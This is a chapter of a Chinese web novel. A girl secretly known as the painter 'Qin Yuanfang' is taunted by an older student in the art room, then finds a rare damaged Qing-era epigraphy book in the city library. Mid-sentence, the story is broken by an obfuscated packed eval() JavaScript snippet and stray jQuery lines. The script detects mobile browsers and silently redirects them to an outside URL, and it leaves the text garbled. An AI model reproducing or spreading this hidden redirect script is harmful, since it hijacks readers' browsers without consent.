而在那间临城一中的画室里,“秦远方”身份的秘密,在那次当众对质后,已然成为高二美术生小圈子里心照不宣的共识。
一种混合着震惊、敬佩以及某种微妙畏惧的默契,在知情者之间悄然形成。
没有人去公开宣扬,更没有人敢冒昧打扰。
叶轻辞依然是那个按时参加书画社团活动、安静坐在角落画画的初一女生,但无形中,她周围的气场有了微妙变化。
偶尔有高二的学长学姐抱着画板从她身边经过时,会不自觉地放轻脚步,目光在她那多停留几秒,态度更加郑重,眼神更加温和。
叶轻辞对此的回应,是平静如常。
她并未因这隐约的曝光而张扬,也没有刻意疏远任何人。
该练习时练习,该交流时交流,言谈举止依旧是她那个年龄少有的沉稳妥帖。
而这种超越年龄的淡然,反而让周围那些年长几岁的观察者更加确信那份才华的真实与厚重。
这天下午,画室里光线正好。
空气中飘散着墨香和铅笔灰混合的味道,阳光斜照进来,给画室的一角镀上了毛茸茸的金边。
叶轻辞坐在靠窗的角落,跟杨臻和潘雯一块对着窗外新移植几竿翠竹写生。
她的画风依旧严谨扎实,寥寥几笔便勾勒出竹子清峻的生机。
一个修长的身影斜倚在画室门口,恰好挡住了部分涌入的光线。
叶轻辞笔尖未停,直到那身影踱步到她画板旁,投下更长的一道阴影。
“哟——”他开口,声音不高,却足以让附近几个人听见,“这不是让宋程坤那家伙惦记得魂不守舍的小学妹么?”他故意顿了顿,语气带着刻意拖长的懒散和掩藏不住的轻佻,“怎么,你那知音今天没来护驾,画画都没精打采的,只能缩在这角落里描竹子?”
叶轻辞的笔尖未停,只是微微抬眼,平静地看了他一眼。
是高二美术生里外号“韩灵运”的韩钦,以特立独行的打扮和看不惯宋程坤而闻名。
他头发比规定稍长,挽在耳后,手里漫不经心地转着一支炭笔,似笑非笑。
不像个好学生……叶轻辞于心底浅下结论。
一旁的杨臻和潘雯皱起了眉头,有些警惕地看着这个突然出现的高二学长。
韩钦似乎还想再说什么,脸上那点故意装出来的嚣张还没来得及进一步发挥,一只大手就从后面伸过来,不怎么客气地捂住了他的嘴。
另一只胳膊则利落地勾住他的脖子,不由分说地把他往后拖。
“韩钦你够了啊,跑这儿来丢什么人……”一个同样穿着高二校服、身材敦实的男生压底声音,一边用力把挣扎的韩钦往外拖,一边朝叶轻辞这边不好意思地点头致歉,“秦……叶学妹别理他,他这儿,”敦实男生指了指自己的脑袋,“给宋哥刺激过,有病!”
被扼住命运脖颈的韩钦:“???”
作甚,同学几个?
他嘴欠了也不是一天两天,往常你们不是都事不关己、摇头不理的么,怎么突然就热心肠起来。
不对劲,很不对劲!
韩钦被半拖半拽地弄出了画室,隐约还能听到外面传来压低的抱怨和哀嚎声。
“什么人啊。”杨臻低声骂道。
潘雯拍了拍她的背,柔声道:“没事,要不了几天我们就不过来这边了,别气别气。”语毕,复又小声对叶轻辞道,“一会儿我们拉上周骏他们一块走,谅他也不敢追上来。”
叶轻辞点头:“好。”
这个小插曲并未在画室里引起太大波澜。
然而,韩钦或者说像他一样存着几分好奇或别样心思的人很快就发现,想再偶遇叶轻辞,变得不那么容易。
学校书画社原先破旧的活动室完成了翻新装修,社团活动回归。
可一些高二生特意寻过去时,却惊讶地发现,那个熟悉的身影并没有出现。
一打听才知道,叶轻辞已经退出了书画社。
“说是图书馆新进了一批艺术类书籍和图册,她申请了协助整理编目的志愿者,以后课余时间多半泡在那了。”有消息灵通的人如是说。
志愿者,那就不是一中图书馆了。
临城图书馆……那个安静得掉根针都能听见,管理严格、话痨慎入的地方?
几个原本或许还想着找个机会正式认识一下的高二美术生,顿时有些懊恼:“早知道上次在画室就该直接上去搭个话,好歹要个签名什么的,”有人半开玩笑半认真地嘀咕,“‘秦远方’的亲笔签名啊,留个纪念也好。”
这话引得旁边几人纷纷附和,又带着点无奈地讪笑。
画室里几个高二生交换了眼神,有人感慨道:“韩钦也是,非得去碰钉子。”
“嗐——他憋好几天了,说倒要看看能让宋程坤那种眼高于顶的人惦记的人长什么样。”
“结果呢?”
“结果,啧,人家压根没接招。”
“这下好,以后想要跟学妹重修于好,怕是不容易啊……”
此刻的叶轻辞,正站在临城市图书馆三楼的工具书区。
市图是一栋五层新楼,比一小和一中那主要用于学生课外阅读的图书室大得多,据说藏书有近十万册,算得上是临城藏书最多的地方。
她凭学生证办好借书证,穿过长长的临窗阅读区,来到人迹罕至的工具书区。
这里摆放的多是厚重的辞典、年鉴,空气中浮动着零星灰尘,偶尔有翻动书页的沙沙声和远处隐约的脚步声。
她明面上翻找着绘画技法、美术史类的书籍,但真正花费心力寻找的,是存放在角落书架上的地方志与古籍的副本。
近些年各地编修新方志,许多旧县志、府志被替换下来,其中一部分便辗转流入了旧书市场和图书馆。
她通过图书馆的卡片目录检索和系统的辅助提示,已经锁定了三本可能具有修复或研究价值的本地旧志,默默记下了书目版本信息,盘算着哪天去碰碰运气。
然而,才打算离开,就有了意外发现。
在工具书区最底层的书架背面,与墙壁之间有一道狭窄的缝隙。
叶轻辞弯腰寻找一本掉落的书签时,探手摸到了一摞用牛皮纸随意包着的旧书,上面落满了厚厚的灰。
好奇心驱使下,她费力地将最上面一本拖出了一点。
封面破损,但书名依稀可辨。
“金石萃编……补目?”
而且,是第一卷。
叶轻辞呼吸微凝。
如果她没记错,这可是清代金石学的重要著作,里面收录了大量古代铜器碑刻的铭文拓本及考释,流传极少。
这书品相尚可,即便破损,其本身的文献价值和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296558|194440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文物价值也极高,修复后的意义更是不言而喻。
几乎同时,脑海中浮现系统光屏的轻微波动:
【检测到高价值古籍线索】
【初步鉴定:清代金石学珍本《金石萃编补目》民国刻本】
【状态:严重虫蛀,水渍,书口破损……】
【修复潜力:高。】
她指尖抚过封面残破的边缘,能感觉到纸张脆弱的质地。
她深吸一口气,正想翻开封面看看内页状况,身后却传来声音:“你也对旧书感兴趣?”
叶轻辞动作一滞,不动声色地将书合拢。
她偏头,发现说话的是个个子挺高,戴黑框眼镜的男生,怀里正抱着两本《文物》杂志,笑得温和无害。
叶轻辞认得他——初一十五班的云随舟,入学成绩年级第一,出了名的博闻强记,据说父亲是省城某大学历史系的教授。
“随便看看。”叶轻辞简单道。
云随舟点点头,似乎并不意外她的反应。
他走近几步,很自然地在叶轻辞刚才的位置蹲下,有样学样,小心抽出了《金石萃编补目》的下一卷,拂去浮灰,仔细看了看书名和版刻信息:“民国的刻本……我记得省图善本室有一部,市图这里,按道理该在特藏库或者古籍部登记在册。”他低声自语,眉头微蹙,“虫蛀得有些厉害啊。”
他抬起头,看向叶轻辞,目光里多了几分探究和某种同行间才有的默契:“这些应该是以前清理旧物时封存的东西,可能一直没来得及修补上架,或者……”他顿了顿,没说完,但意思很明显,或者是被人有意遗忘或隐匿在此。
叶轻辞看着他熟练的动作和精准的判断,心中微动。
这个云随舟,怕不只是记性好那么简单。
“你知道这书?”叶轻辞问。
“知道一点,家里有复印件。”云随舟推了推眼镜,将书小心地放回原处,但没完全塞进去,“品相差了些,虫蛀、水渍都有,书口也有破损。不过……”他看向叶轻辞,嘴角弯弯,“如果遇到懂行又会修的人,未必不能以崭新的姿态面世。”
叶轻辞看向他,不语。
两人隔着几步距离,在图书馆安静的一角对视了一眼。
空气中弥漫着旧纸的微酸气息和一种心照不宣的微妙张力。
几步之外,叶轻辞能清晰看见他白衬衫袖口上一滴极小的墨点。
“或许吧。”她移开目光,语气平淡无波。
云随舟不再多言,起身时衣角带起一缕风:“这些书需要专业修复,我会向馆里建议,尽快移交有资质的部门处理。”
“……好。”
叶轻辞站在原地,目送他身影消失在图书馆深长的走廊尽头。
大概率,此后与她无关了。
……
叶轻辞却不知道,当天下午,秦师父接到了来自省城一位老友的电话。
寒暄裹着打趣与试探,绕圈完,对方意味深长地说:“老秦,你藏得好啊,那个远方,是你点拨出来的吧,呵呵……那幅《人间烟火依旧》绘得妙、心思刁,被另一个眼光毒、脾气怪的家伙看上了。他托人辗转打听到我这里,想请你那小徒弟去他那小沙龙露个脸。你要不问问小家伙,看有没有兴趣?”
“有事说事。”秦师父语气淡淡,“不要扯这么多乱七八糟的东西。”